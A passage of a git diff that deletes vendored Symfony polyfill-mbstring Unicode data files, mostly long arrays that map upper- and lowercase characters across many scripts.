'Ⱏ' => 'ⱏ', - 'Ⱐ' => 'ⱐ', - 'Ⱑ' => 'ⱑ', - 'Ⱒ' => 'ⱒ', - 'Ⱓ' => 'ⱓ', - 'Ⱔ' => 'ⱔ', - 'Ⱕ' => 'ⱕ', - 'Ⱖ' => 'ⱖ', - 'Ⱗ' => 'ⱗ', - 'Ⱘ' => 'ⱘ', - 'Ⱙ' => 'ⱙ', - 'Ⱚ' => 'ⱚ', - 'Ⱛ' => 'ⱛ', - 'Ⱜ' => 'ⱜ', - 'Ⱝ' => 'ⱝ', - 'Ⱞ' => 'ⱞ', - 'Ⱡ' => 'ⱡ', - 'Ɫ' => 'ɫ', - 'Ᵽ' => 'ᵽ', - 'Ɽ' => 'ɽ', - 'Ⱨ' => 'ⱨ', - 'Ⱪ' => 'ⱪ', - 'Ⱬ' => 'ⱬ', - 'Ɑ' => 'ɑ', - 'Ɱ' => 'ɱ', - 'Ɐ' => 'ɐ', - 'Ɒ' => 'ɒ', - 'Ⱳ' => 'ⱳ', - 'Ⱶ' => 'ⱶ', - 'Ȿ' => 'ȿ', - 'Ɀ' => 'ɀ', - 'Ⲁ' => 'ⲁ', - 'Ⲃ' => 'ⲃ', - 'Ⲅ' => 'ⲅ', - 'Ⲇ' => 'ⲇ', - 'Ⲉ' => 'ⲉ', - 'Ⲋ' => 'ⲋ', - 'Ⲍ' => 'ⲍ', - 'Ⲏ' => 'ⲏ', - 'Ⲑ' => 'ⲑ', - 'Ⲓ' => 'ⲓ', - 'Ⲕ' => 'ⲕ', - 'Ⲗ' => 'ⲗ', - 'Ⲙ' => 'ⲙ', - 'Ⲛ' => 'ⲛ', - 'Ⲝ' => 'ⲝ', - 'Ⲟ' => 'ⲟ', - 'Ⲡ' => 'ⲡ', - 'Ⲣ' => 'ⲣ', - 'Ⲥ' => 'ⲥ', - 'Ⲧ' => 'ⲧ', - 'Ⲩ' => 'ⲩ', - 'Ⲫ' => 'ⲫ', - 'Ⲭ' => 'ⲭ', - 'Ⲯ' => 'ⲯ', - 'Ⲱ' => 'ⲱ', - 'Ⲳ' => 'ⲳ', - 'Ⲵ' => 'ⲵ', - 'Ⲷ' => 'ⲷ', - 'Ⲹ' => 'ⲹ', - 'Ⲻ' => 'ⲻ', - 'Ⲽ' => 'ⲽ', - 'Ⲿ' => 'ⲿ', - 'Ⳁ' => 'ⳁ', - 'Ⳃ' => 'ⳃ', - 'Ⳅ' => 'ⳅ', - 'Ⳇ' => 'ⳇ', - 'Ⳉ' => 'ⳉ', - 'Ⳋ' => 'ⳋ', - 'Ⳍ' => 'ⳍ', - 'Ⳏ' => 'ⳏ', - 'Ⳑ' => 'ⳑ', - 'Ⳓ' => 'ⳓ', - 'Ⳕ' => 'ⳕ', - 'Ⳗ' => 'ⳗ', - 'Ⳙ' => 'ⳙ', - 'Ⳛ' => 'ⳛ', - 'Ⳝ' => 'ⳝ', - 'Ⳟ' => 'ⳟ', - 'Ⳡ' => 'ⳡ', - 'Ⳣ' => 'ⳣ', - 'Ⳬ' => 'ⳬ', - 'Ⳮ' => 'ⳮ', - 'Ⳳ' => 'ⳳ', - 'Ꙁ' => 'ꙁ', - 'Ꙃ' => 'ꙃ', - 'Ꙅ' => 'ꙅ', - 'Ꙇ' => 'ꙇ', - 'Ꙉ' => 'ꙉ', - 'Ꙋ' => 'ꙋ', - 'Ꙍ' => 'ꙍ', - 'Ꙏ' => 'ꙏ', - 'Ꙑ' => 'ꙑ', - 'Ꙓ' => 'ꙓ', - 'Ꙕ' => 'ꙕ', - 'Ꙗ' => 'ꙗ', - 'Ꙙ' => 'ꙙ', - 'Ꙛ' => 'ꙛ', - 'Ꙝ' => 'ꙝ', - 'Ꙟ' => 'ꙟ', - 'Ꙡ' => 'ꙡ', - 'Ꙣ' => 'ꙣ', - 'Ꙥ' => 'ꙥ', - 'Ꙧ' => 'ꙧ', - 'Ꙩ' => 'ꙩ', - 'Ꙫ' => 'ꙫ', - 'Ꙭ' => 'ꙭ', - 'Ꚁ' => 'ꚁ', - 'Ꚃ' => 'ꚃ', - 'Ꚅ' => 'ꚅ', - 'Ꚇ' => 'ꚇ', - 'Ꚉ' => 'ꚉ', - 'Ꚋ' => 'ꚋ', - 'Ꚍ' => 'ꚍ', - 'Ꚏ' => 'ꚏ', - 'Ꚑ' => 'ꚑ', - 'Ꚓ' => 'ꚓ', - 'Ꚕ' => 'ꚕ', - 'Ꚗ' => 'ꚗ', - 'Ꚙ' => 'ꚙ', - 'Ꚛ' => 'ꚛ', - 'Ꜣ' => 'ꜣ', - 'Ꜥ' => 'ꜥ', - 'Ꜧ' => 'ꜧ', - 'Ꜩ' => 'ꜩ', - 'Ꜫ' => 'ꜫ', - 'Ꜭ' => 'ꜭ', - 'Ꜯ' => 'ꜯ', - 'Ꜳ' => 'ꜳ', - 'Ꜵ' => 'ꜵ', - 'Ꜷ' => 'ꜷ', - 'Ꜹ' => 'ꜹ', - 'Ꜻ' => 'ꜻ', - 'Ꜽ' => 'ꜽ', - 'Ꜿ' => 'ꜿ', - 'Ꝁ' => 'ꝁ', - 'Ꝃ' => 'ꝃ', - 'Ꝅ' => 'ꝅ', - 'Ꝇ' => 'ꝇ', - 'Ꝉ' => 'ꝉ', - 'Ꝋ' => 'ꝋ', - 'Ꝍ' => 'ꝍ', - 'Ꝏ' => 'ꝏ', - 'Ꝑ' => 'ꝑ', - 'Ꝓ' => 'ꝓ', - 'Ꝕ' => 'ꝕ', - 'Ꝗ' => 'ꝗ', - 'Ꝙ' => 'ꝙ', - 'Ꝛ' => 'ꝛ', - 'Ꝝ' => 'ꝝ', - 'Ꝟ' => 'ꝟ', - 'Ꝡ' => 'ꝡ', - 'Ꝣ' => 'ꝣ', - 'Ꝥ' => 'ꝥ', - 'Ꝧ' => 'ꝧ', - 'Ꝩ' => 'ꝩ', - 'Ꝫ' => 'ꝫ', - 'Ꝭ' => 'ꝭ', - 'Ꝯ' => 'ꝯ', - 'Ꝺ' => 'ꝺ', - 'Ꝼ' => 'ꝼ', - 'Ᵹ' => 'ᵹ', - 'Ꝿ' => 'ꝿ', - 'Ꞁ' => 'ꞁ', - 'Ꞃ' => 'ꞃ', - 'Ꞅ' => 'ꞅ', - 'Ꞇ' => 'ꞇ', - 'Ꞌ' => 'ꞌ', - 'Ɥ' => 'ɥ', - 'Ꞑ' => 'ꞑ', - 'Ꞓ' => 'ꞓ', - 'Ꞗ' => 'ꞗ', - 'Ꞙ' => 'ꞙ', - 'Ꞛ' => 'ꞛ', - 'Ꞝ' => 'ꞝ', - 'Ꞟ' => 'ꞟ', - 'Ꞡ' => 'ꞡ', - 'Ꞣ' => 'ꞣ', - 'Ꞥ' => 'ꞥ', - 'Ꞧ' => 'ꞧ', - 'Ꞩ' => 'ꞩ', - 'Ɦ' => 'ɦ', - 'Ɜ' => 'ɜ', - 'Ɡ' => 'ɡ', - 'Ɬ' => 'ɬ', - 'Ɪ' => 'ɪ', - 'Ʞ' => 'ʞ', - 'Ʇ' => 'ʇ', - 'Ʝ' => 'ʝ', - 'Ꭓ' => 'ꭓ', - 'Ꞵ' => 'ꞵ', - 'Ꞷ' => 'ꞷ', - 'Ꞹ' => 'ꞹ', - 'Ꞻ' => 'ꞻ', - 'Ꞽ' => 'ꞽ', - 'Ꞿ' => 'ꞿ', - 'Ꟃ' => 'ꟃ', - 'Ꞔ' => 'ꞔ', - 'Ʂ' => 'ʂ', - 'Ᶎ' => 'ᶎ', - 'Ꟈ' => 'ꟈ', - 'Ꟊ' => 'ꟊ', - 'Ꟶ' => 'ꟶ', - 'A' => 'a', - 'B' => 'b', - 'C' => 'c', - 'D' => 'd', - 'E' => 'e', - 'F' => 'f', - 'G' => 'g', - 'H' => 'h', - 'I' => 'i', - 'J' => 'j', - 'K' => 'k', - 'L' => 'l', - 'M' => 'm', - 'N' => 'n', - 'O' => 'o', - 'P' => 'p', - 'Q' => 'q', - 'R' => 'r', - 'S' => 's', - 'T' => 't', - 'U' => 'u', - 'V' => 'v', - 'W' => 'w', - 'X' => 'x', - 'Y' => 'y', - 'Z' => 'z', - '𐐀' => '𐐨', - '𐐁' => '𐐩', - '𐐂' => '𐐪', - '𐐃' => '𐐫', - '𐐄' => '𐐬', - '𐐅' => '𐐭', - '𐐆' => '𐐮', - '𐐇' => '𐐯', - '𐐈' => '𐐰', - '𐐉' => '𐐱', - '𐐊' => '𐐲', - '𐐋' => '𐐳', - '𐐌' => '𐐴', - '𐐍' => '𐐵', - '𐐎' => '𐐶', - '𐐏' => '𐐷', - '𐐐' => '𐐸', - '𐐑' => '𐐹', - '𐐒' => '𐐺', - '𐐓' => '𐐻', - '𐐔' => '𐐼', - '𐐕' => '𐐽', - '𐐖' => '𐐾', - '𐐗' => '𐐿', - '𐐘' => '𐑀', - '𐐙' => '𐑁', - '𐐚' => '𐑂', - '𐐛' => '𐑃', - '𐐜' => '𐑄', - '𐐝' => '𐑅', - '𐐞' => '𐑆', - '𐐟' => '𐑇', - '𐐠' => '𐑈', - '𐐡' => '𐑉', - '𐐢' => '𐑊', - '𐐣' => '𐑋', - '𐐤' => '𐑌', - '𐐥' => '𐑍', - '𐐦' => '𐑎', - '𐐧' => '𐑏', - '𐒰' => '𐓘', - '𐒱' => '𐓙', - '𐒲' => '𐓚', - '𐒳' => '𐓛', - '𐒴' => '𐓜', - '𐒵' => '𐓝', - '𐒶' => '𐓞', - '𐒷' => '𐓟', - '𐒸' => '𐓠', - '𐒹' => '𐓡', - '𐒺' => '𐓢', - '𐒻' => '𐓣', - '𐒼' => '𐓤', - '𐒽' => '𐓥', - '𐒾' => '𐓦', - '𐒿' => '𐓧', - '𐓀' => '𐓨', - '𐓁' => '𐓩', - '𐓂' => '𐓪', - '𐓃' => '𐓫', - '𐓄' => '𐓬', - '𐓅' => '𐓭', - '𐓆' => '𐓮', - '𐓇' => '𐓯', - '𐓈' => '𐓰', - '𐓉' => '𐓱', - '𐓊' => '𐓲', - '𐓋' => '𐓳', - '𐓌' => '𐓴', - '𐓍' => '𐓵', - '𐓎' => '𐓶', - '𐓏' => '𐓷', - '𐓐' => '𐓸', - '𐓑' => '𐓹', - '𐓒' => '𐓺', - '𐓓' => '𐓻', - '𐲀' => '𐳀', - '𐲁' => '𐳁', - '𐲂' => '𐳂', - '𐲃' => '𐳃', - '𐲄' => '𐳄', - '𐲅' => '𐳅', - '𐲆' => '𐳆', - '𐲇' => '𐳇', - '𐲈' => '𐳈', - '𐲉' => '𐳉', - '𐲊' => '𐳊', - '𐲋' => '𐳋', - '𐲌' => '𐳌', - '𐲍' => '𐳍', - '𐲎' => '𐳎', - '𐲏' => '𐳏', - '𐲐' => '𐳐', - '𐲑' => '𐳑', - '𐲒' => '𐳒', - '𐲓' => '𐳓', - '𐲔' => '𐳔', - '𐲕' => '𐳕', - '𐲖' => '𐳖', - '𐲗' => '𐳗', - '𐲘' => '𐳘', - '𐲙' => '𐳙', - '𐲚' => '𐳚', - '𐲛' => '𐳛', - '𐲜' => '𐳜', - '𐲝' => '𐳝', - '𐲞' => '𐳞', - '𐲟' => '𐳟', - '𐲠' => '𐳠', - '𐲡' => '𐳡', - '𐲢' => '𐳢', - '𐲣' => '𐳣', - '𐲤' => '𐳤', - '𐲥' => '𐳥', - '𐲦' => '𐳦', - '𐲧' => '𐳧', - '𐲨' => '𐳨', - '𐲩' => '𐳩', - '𐲪' => '𐳪', - '𐲫' => '𐳫', - '𐲬' => '𐳬', - '𐲭' => '𐳭', - '𐲮' => '𐳮', - '𐲯' => '𐳯', - '𐲰' => '𐳰', - '𐲱' => '𐳱', - '𐲲' => '𐳲', - '𑢠' => '𑣀', - '𑢡' => '𑣁', - '𑢢' => '𑣂', - '𑢣' => '𑣃', - '𑢤' => '𑣄', - '𑢥' => '𑣅', - '𑢦' => '𑣆', - '𑢧' => '𑣇', - '𑢨' => '𑣈', - '𑢩' => '𑣉', - '𑢪' => '𑣊', - '𑢫' => '𑣋', - '𑢬' => '𑣌', - '𑢭' => '𑣍', - '𑢮' => '𑣎', - '𑢯' => '𑣏', - '𑢰' => '𑣐', - '𑢱' => '𑣑', - '𑢲' => '𑣒', - '𑢳' => '𑣓', - '𑢴' => '𑣔', - '𑢵' => '𑣕', - '𑢶' => '𑣖', - '𑢷' => '𑣗', - '𑢸' => '𑣘', - '𑢹' => '𑣙', - '𑢺' => '𑣚', - '𑢻' => '𑣛', - '𑢼' => '𑣜', - '𑢽' => '𑣝', - '𑢾' => '𑣞', - '𑢿' => '𑣟', - '𖹀' => '𖹠', - '𖹁' => '𖹡', - '𖹂' => '𖹢', - '𖹃' => '𖹣', - '𖹄' => '𖹤', - '𖹅' => '𖹥', - '𖹆' => '𖹦', - '𖹇' => '𖹧', - '𖹈' => '𖹨', - '𖹉' => '𖹩', - '𖹊' => '𖹪', - '𖹋' => '𖹫', - '𖹌' => '𖹬', - '𖹍' => '𖹭', - '𖹎' => '𖹮', - '𖹏' => '𖹯', - '𖹐' => '𖹰', - '𖹑' => '𖹱', - '𖹒' => '𖹲', - '𖹓' => '𖹳', - '𖹔' => '𖹴', - '𖹕' => '𖹵', - '𖹖' => '𖹶', - '𖹗' => '𖹷', - '𖹘' => '𖹸', - '𖹙' => '𖹹', - '𖹚' => '𖹺', - '𖹛' => '𖹻', - '𖹜' => '𖹼', - '𖹝' => '𖹽', - '𖹞' => '𖹾', - '𖹟' => '𖹿', - '𞤀' => '𞤢', - '𞤁' => '𞤣', - '𞤂' => '𞤤', - '𞤃' => '𞤥', - '𞤄' => '𞤦', - '𞤅' => '𞤧', - '𞤆' => '𞤨', - '𞤇' => '𞤩', - '𞤈' => '𞤪', - '𞤉' => '𞤫', - '𞤊' => '𞤬', - '𞤋' => '𞤭', - '𞤌' => '𞤮', - '𞤍' => '𞤯', - '𞤎' => '𞤰', - '𞤏' => '𞤱', - '𞤐' => '𞤲', - '𞤑' => '𞤳', - '𞤒' => '𞤴', - '𞤓' => '𞤵', - '𞤔' => '𞤶', - '𞤕' => '𞤷', - '𞤖' => '𞤸', - '𞤗' => '𞤹', - '𞤘' => '𞤺', - '𞤙' => '𞤻', - '𞤚' => '𞤼', - '𞤛' => '𞤽', - '𞤜' => '𞤾', - '𞤝' => '𞤿', - '𞤞' => '𞥀', - '𞤟' => '𞥁', - '𞤠' => '𞥂', - '𞤡' => '𞥃', -); diff --git a/vendor/symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php b/vendor/symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php deleted file mode 100644 index 2a8f6e7..0000000 --- a/vendor/symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php +++ /dev/null @@ -1,5 +0,0 @@ - 'A', - 'b' => 'B', - 'c' => 'C', - 'd' => 'D', - 'e' => 'E', - 'f' => 'F', - 'g' => 'G', - 'h' => 'H', - 'i' => 'I', - 'j' => 'J', - 'k' => 'K', - 'l' => 'L', - 'm' => 'M', - 'n' => 'N', - 'o' => 'O', - 'p' => 'P', - 'q' => 'Q', - 'r' => 'R', - 's' => 'S', - 't' => 'T', - 'u' => 'U', - 'v' => 'V', - 'w' => 'W', - 'x' => 'X', - 'y' => 'Y', - 'z' => 'Z', - 'µ' => 'Μ', - 'à' => 'À', - 'á' => 'Á', - 'â' => 'Â', - 'ã' => 'Ã', - 'ä' => 'Ä', - 'å' => 'Å', - 'æ' => 'Æ', - 'ç' => 'Ç', - 'è' => 'È', - 'é' => 'É', - 'ê' => 'Ê', - 'ë' => 'Ë', - 'ì' => 'Ì', - 'í' => 'Í', - 'î' => 'Î', - 'ï' => 'Ï', - 'ð' => 'Ð', - 'ñ' => 'Ñ', - 'ò' => 'Ò', - 'ó' => 'Ó', - 'ô' => 'Ô', - 'õ' => 'Õ', - 'ö' => 'Ö', - 'ø' => 'Ø', - 'ù' => 'Ù', - 'ú' => 'Ú', - 'û' => 'Û', - 'ü' => 'Ü', - 'ý' => 'Ý', - 'þ' => 'Þ', - 'ÿ' => 'Ÿ', - 'ā' => 'Ā', - 'ă' => 'Ă', - 'ą' => 'Ą', - 'ć' => 'Ć', - 'ĉ' => 'Ĉ', - 'ċ' => 'Ċ', - 'č' => 'Č', - 'ď' => 'Ď', - 'đ' => 'Đ', - 'ē' => 'Ē', - 'ĕ' => 'Ĕ', - 'ė' => 'Ė', - 'ę' => 'Ę', - 'ě' => 'Ě', - 'ĝ' => 'Ĝ', - 'ğ' => 'Ğ', - 'ġ' => 'Ġ', - 'ģ' => 'Ģ', - 'ĥ' => 'Ĥ', - 'ħ' => 'Ħ', - 'ĩ' => 'Ĩ', - 'ī' => 'Ī', - 'ĭ' => 'Ĭ', - 'į' => 'Į', - 'ı' => 'I', - 'ij' => 'IJ', - 'ĵ' => 'Ĵ', - 'ķ' => 'Ķ', - 'ĺ' => 'Ĺ', - 'ļ' => 'Ļ', - 'ľ' => 'Ľ', - 'ŀ' => 'Ŀ', - 'ł' => 'Ł', - 'ń' => 'Ń', - 'ņ' => 'Ņ', - 'ň' => 'Ň', - 'ŋ' => 'Ŋ', - 'ō' => 'Ō', - 'ŏ' => 'Ŏ', - 'ő' => 'Ő', - 'œ' => 'Œ', - 'ŕ' => 'Ŕ', - 'ŗ' => 'Ŗ', - 'ř' => 'Ř', - 'ś' => 'Ś', - 'ŝ' => 'Ŝ', - 'ş' => 'Ş', - 'š' => 'Š', - 'ţ' => 'Ţ', - 'ť' => 'Ť', - 'ŧ' => 'Ŧ', - 'ũ' => 'Ũ', - 'ū' => 'Ū', - 'ŭ' => 'Ŭ', - 'ů' => 'Ů', - 'ű' => 'Ű', - 'ų' => 'Ų', - 'ŵ' => 'Ŵ', - 'ŷ' => 'Ŷ', - 'ź' => 'Ź', - 'ż' => 'Ż', - 'ž' => 'Ž', - 'ſ' => 'S', - 'ƀ' => 'Ƀ', - 'ƃ' => 'Ƃ', - 'ƅ' => 'Ƅ', - 'ƈ' => 'Ƈ', - 'ƌ' => 'Ƌ', - 'ƒ' => 'Ƒ', - 'ƕ' => 'Ƕ', - 'ƙ' => 'Ƙ', - 'ƚ' => 'Ƚ', - 'ƞ' => 'Ƞ', - 'ơ' => 'Ơ', - 'ƣ' => 'Ƣ', - 'ƥ' => 'Ƥ', - 'ƨ' => 'Ƨ', - 'ƭ' => 'Ƭ', - 'ư' => 'Ư', - 'ƴ' => 'Ƴ', - 'ƶ' => 'Ƶ', - 'ƹ' => 'Ƹ', - 'ƽ' => 'Ƽ', - 'ƿ' => 'Ƿ', - 'Dž' => 'DŽ', - 'dž' => 'DŽ', - 'Lj' => 'LJ', - 'lj' => 'LJ', - 'Nj' => 'NJ', - 'nj' => 'NJ', - 'ǎ' => 'Ǎ', - 'ǐ' => 'Ǐ', - 'ǒ' => 'Ǒ', - 'ǔ' => 'Ǔ', - 'ǖ' => 'Ǖ', - 'ǘ' => 'Ǘ', - 'ǚ' => 'Ǚ', - 'ǜ' => 'Ǜ', - 'ǝ' => 'Ǝ', - 'ǟ' => 'Ǟ', - 'ǡ' => 'Ǡ', - 'ǣ' => 'Ǣ', - 'ǥ' => 'Ǥ', - 'ǧ' => 'Ǧ', - 'ǩ' => 'Ǩ', - 'ǫ' => 'Ǫ', - 'ǭ' => 'Ǭ', - 'ǯ' => 'Ǯ', - 'Dz' => 'DZ', - 'dz' => 'DZ', - 'ǵ' => 'Ǵ', - 'ǹ' => 'Ǹ', - 'ǻ' => 'Ǻ', - 'ǽ' => 'Ǽ', - 'ǿ' => 'Ǿ', - 'ȁ' => 'Ȁ', - 'ȃ' => 'Ȃ', - 'ȅ' => 'Ȅ', - 'ȇ' => 'Ȇ', - 'ȉ' => 'Ȉ', - 'ȋ' => 'Ȋ', - 'ȍ' => 'Ȍ', - 'ȏ' => 'Ȏ', - 'ȑ' => 'Ȑ', - 'ȓ' => 'Ȓ', - 'ȕ' => 'Ȕ', - 'ȗ' => 'Ȗ', - 'ș' => 'Ș', - 'ț' => 'Ț', - 'ȝ' => 'Ȝ', - 'ȟ' => 'Ȟ', - 'ȣ' => 'Ȣ', - 'ȥ' => 'Ȥ', - 'ȧ' => 'Ȧ', - 'ȩ' => 'Ȩ', - 'ȫ' => 'Ȫ', - 'ȭ' => 'Ȭ', - 'ȯ' => 'Ȯ', - 'ȱ' => 'Ȱ', - 'ȳ' => 'Ȳ', - 'ȼ' => 'Ȼ', - 'ȿ' => 'Ȿ', - 'ɀ' => 'Ɀ', - 'ɂ' => 'Ɂ', - 'ɇ' => 'Ɇ', - 'ɉ' => 'Ɉ', - 'ɋ' => 'Ɋ', - 'ɍ' => 'Ɍ', - 'ɏ' => 'Ɏ', - 'ɐ' => 'Ɐ', - 'ɑ' => 'Ɑ', - 'ɒ' => 'Ɒ', - 'ɓ' => 'Ɓ', - 'ɔ' => 'Ɔ', - 'ɖ' => 'Ɖ', - 'ɗ' => 'Ɗ', - 'ə' => 'Ə', - 'ɛ' => 'Ɛ', - 'ɜ' => 'Ɜ', - 'ɠ' => 'Ɠ', - 'ɡ' => 'Ɡ', - 'ɣ' => 'Ɣ', - 'ɥ' => 'Ɥ', - 'ɦ' => 'Ɦ', - 'ɨ' => 'Ɨ', - 'ɩ' => 'Ɩ', - 'ɪ' => 'Ɪ', - 'ɫ' => 'Ɫ', - 'ɬ' => 'Ɬ', - 'ɯ' => 'Ɯ', - 'ɱ' => 'Ɱ', - 'ɲ' => 'Ɲ', - 'ɵ' => 'Ɵ', - 'ɽ' => 'Ɽ', - 'ʀ' => 'Ʀ', - 'ʂ' => 'Ʂ', - 'ʃ' => 'Ʃ', - 'ʇ' => 'Ʇ', - 'ʈ' => 'Ʈ', - 'ʉ' => 'Ʉ', - 'ʊ' => 'Ʊ', - 'ʋ' => 'Ʋ', - 'ʌ' => 'Ʌ', - 'ʒ' => 'Ʒ', - 'ʝ' => 'Ʝ', - 'ʞ' => 'Ʞ', - 'ͅ' => 'Ι', - 'ͱ' => 'Ͱ', - 'ͳ' => 'Ͳ', - 'ͷ' => 'Ͷ', - 'ͻ' => 'Ͻ', - 'ͼ' => 'Ͼ', - 'ͽ' => 'Ͽ', - 'ά' => 'Ά', - 'έ' => 'Έ', - 'ή' => 'Ή', - 'ί' => 'Ί', - 'α' => 'Α', - 'β' => 'Β', - 'γ' => 'Γ', - 'δ' => 'Δ', - 'ε' => 'Ε', - 'ζ' => 'Ζ', - 'η' => 'Η', - 'θ' => 'Θ', - 'ι' => 'Ι', - 'κ' => 'Κ', - 'λ' => 'Λ', - 'μ' => 'Μ', - 'ν' => 'Ν', - 'ξ' => 'Ξ', - 'ο' => 'Ο', - 'π' => 'Π', - 'ρ' => 'Ρ', - 'ς' => 'Σ', - 'σ' => 'Σ', - 'τ' => 'Τ', - 'υ' => 'Υ', - 'φ' => 'Φ', - 'χ' => 'Χ', - 'ψ' => 'Ψ', - 'ω' => 'Ω', - 'ϊ' => 'Ϊ', - 'ϋ' => 'Ϋ', - 'ό' => 'Ό', - 'ύ' => 'Ύ', - 'ώ' => 'Ώ', - 'ϐ' => 'Β', - 'ϑ' => 'Θ', - 'ϕ' => 'Φ', - 'ϖ' => 'Π', - 'ϗ' => 'Ϗ', - 'ϙ' => 'Ϙ', - 'ϛ' => 'Ϛ', - 'ϝ' => 'Ϝ', - 'ϟ' => 'Ϟ', - 'ϡ' => 'Ϡ', - 'ϣ' => 'Ϣ', - 'ϥ' => 'Ϥ', - 'ϧ' => 'Ϧ', - 'ϩ' => 'Ϩ', - 'ϫ' => 'Ϫ', - 'ϭ' => 'Ϭ', - 'ϯ' => 'Ϯ', - 'ϰ' => 'Κ', - 'ϱ' => 'Ρ', - 'ϲ' => 'Ϲ', - 'ϳ' => 'Ϳ', - 'ϵ' => 'Ε', - 'ϸ' => 'Ϸ', - 'ϻ' => 'Ϻ', - 'а' => 'А', - 'б' => 'Б', - 'в' => 'В', - 'г' => 'Г', - 'д' => 'Д', - 'е' => 'Е', - 'ж' => 'Ж', - 'з' => 'З', - 'и' => 'И', - 'й' => 'Й', - 'к' => 'К', - 'л' => 'Л', - 'м' => 'М', - 'н' => 'Н', - 'о' => 'О', - 'п' => 'П', - 'р' => 'Р', - 'с' => 'С', - 'т' => 'Т', - 'у' => 'У', - 'ф' => 'Ф', - 'х' => 'Х', - 'ц' => 'Ц', - 'ч' => 'Ч', - 'ш' => 'Ш', - 'щ' => 'Щ', - 'ъ' => 'Ъ', - 'ы' => 'Ы', - 'ь' => 'Ь', - 'э' => 'Э', - 'ю' => 'Ю', - 'я' => 'Я', - 'ѐ' => 'Ѐ', - 'ё' => 'Ё', - 'ђ' => 'Ђ', - 'ѓ' => 'Ѓ', - 'є' => 'Є', - 'ѕ' => 'Ѕ', - 'і' => 'І', - 'ї' => 'Ї', - 'ј' => 'Ј', - 'љ' => 'Љ', - 'њ' => 'Њ', - 'ћ' => 'Ћ', - 'ќ' => 'Ќ', - 'ѝ' => 'Ѝ', - 'ў' => 'Ў', - 'џ' => 'Џ', - 'ѡ' => 'Ѡ', - 'ѣ' => 'Ѣ', - 'ѥ' => 'Ѥ', - 'ѧ' => 'Ѧ', - 'ѩ' => 'Ѩ', - 'ѫ' => 'Ѫ', - 'ѭ' => 'Ѭ', - 'ѯ' => 'Ѯ', - 'ѱ' => 'Ѱ', - 'ѳ' => 'Ѳ', - 'ѵ' => 'Ѵ', - 'ѷ' => 'Ѷ', - 'ѹ' => 'Ѹ', - 'ѻ' => 'Ѻ', - 'ѽ' => 'Ѽ', - 'ѿ' => 'Ѿ', - 'ҁ' => 'Ҁ', - 'ҋ' => 'Ҋ', - 'ҍ' => 'Ҍ', - 'ҏ' => 'Ҏ', - 'ґ' => 'Ґ', - 'ғ' => 'Ғ', - 'ҕ' => 'Ҕ', - 'җ' => 'Җ', - 'ҙ' => 'Ҙ', - 'қ' => 'Қ', - 'ҝ' => 'Ҝ', - 'ҟ' => 'Ҟ', - 'ҡ' => 'Ҡ', - 'ң' => 'Ң', - 'ҥ' => 'Ҥ', - 'ҧ' => 'Ҧ', - 'ҩ' => 'Ҩ', - 'ҫ' => 'Ҫ', - 'ҭ' => 'Ҭ', - 'ү' => 'Ү', - 'ұ' => 'Ұ', - 'ҳ' => 'Ҳ', - 'ҵ' => 'Ҵ', - 'ҷ' => 'Ҷ', - 'ҹ' => 'Ҹ', - 'һ' => 'Һ', - 'ҽ' => 'Ҽ', - 'ҿ' => 'Ҿ', - 'ӂ' => 'Ӂ', - 'ӄ' => 'Ӄ', - 'ӆ' => 'Ӆ', - 'ӈ' => 'Ӈ', - 'ӊ' => 'Ӊ', - 'ӌ' => 'Ӌ', - 'ӎ' => 'Ӎ', - 'ӏ' => 'Ӏ', - 'ӑ' => 'Ӑ', - 'ӓ' => 'Ӓ', - 'ӕ' => 'Ӕ', - 'ӗ' => 'Ӗ', - 'ә' => 'Ә', - 'ӛ' => 'Ӛ', - 'ӝ' => 'Ӝ', - 'ӟ' => 'Ӟ', - 'ӡ' => 'Ӡ', - 'ӣ' => 'Ӣ', - 'ӥ' => 'Ӥ', - 'ӧ' => 'Ӧ', - 'ө' => 'Ө', - 'ӫ' => 'Ӫ', - 'ӭ' => 'Ӭ', - 'ӯ' => 'Ӯ', - 'ӱ' => 'Ӱ', - 'ӳ' => 'Ӳ', - 'ӵ' => 'Ӵ', - 'ӷ' => 'Ӷ', - 'ӹ' => 'Ӹ', - 'ӻ' => 'Ӻ', - 'ӽ' => 'Ӽ', - 'ӿ' => 'Ӿ', - 'ԁ' => 'Ԁ', - 'ԃ' => 'Ԃ', - 'ԅ' => 'Ԅ', - 'ԇ' => 'Ԇ', - 'ԉ' => 'Ԉ', - 'ԋ' => 'Ԋ', - 'ԍ' => 'Ԍ', - 'ԏ' => 'Ԏ', - 'ԑ' => 'Ԑ', - 'ԓ' => 'Ԓ', - 'ԕ' => 'Ԕ', - 'ԗ' => 'Ԗ', - 'ԙ' => 'Ԙ', - 'ԛ' => 'Ԛ', - 'ԝ' => 'Ԝ', - 'ԟ' => 'Ԟ', - 'ԡ' => 'Ԡ', - 'ԣ' => 'Ԣ', - 'ԥ' => 'Ԥ', - 'ԧ' => 'Ԧ', - 'ԩ' => 'Ԩ', - 'ԫ' => 'Ԫ', - 'ԭ' => 'Ԭ', - 'ԯ' => 'Ԯ', - 'ա' => 'Ա', - 'բ' => 'Բ', - 'գ' => 'Գ', - 'դ' => 'Դ', - 'ե' => 'Ե', - 'զ' => 'Զ', - 'է' => 'Է', - 'ը' => 'Ը', - 'թ' => 'Թ', - 'ժ' => 'Ժ', - 'ի' => 'Ի', - 'լ' => 'Լ', - 'խ' => 'Խ', - 'ծ' => 'Ծ', - 'կ' => 'Կ', - 'հ' => 'Հ', - 'ձ' => 'Ձ', - 'ղ' => 'Ղ', - 'ճ' => 'Ճ', - 'մ' => 'Մ', - 'յ' => 'Յ', - 'ն' => 'Ն', - 'շ' => 'Շ', - 'ո' => 'Ո', - 'չ' => 'Չ', - 'պ' => 'Պ', - 'ջ' => 'Ջ', - 'ռ' => 'Ռ', - 'ս' => 'Ս', - 'վ' => 'Վ', - 'տ' => 'Տ', - 'ր' => 'Ր', - 'ց' => 'Ց', - 'ւ' => 'Ւ', - 'փ' => 'Փ', - 'ք' => 'Ք', - 'օ' => 'Օ', - 'ֆ' => 'Ֆ', - 'ა' => 'Ა', - 'ბ' => 'Ბ', - 'გ' => 'Გ', - 'დ' => 'Დ', - 'ე' => 'Ე', - 'ვ' => 'Ვ', - 'ზ' => 'Ზ', - 'თ' => 'Თ', - 'ი' => 'Ი', - 'კ' => 'Კ', - 'ლ' => 'Ლ', - 'მ' => 'Მ', - 'ნ' => 'Ნ', - 'ო' => 'Ო', - 'პ' => 'Პ', - 'ჟ' => 'Ჟ', - 'რ' => 'Რ', - 'ს' => 'Ს', - 'ტ' => 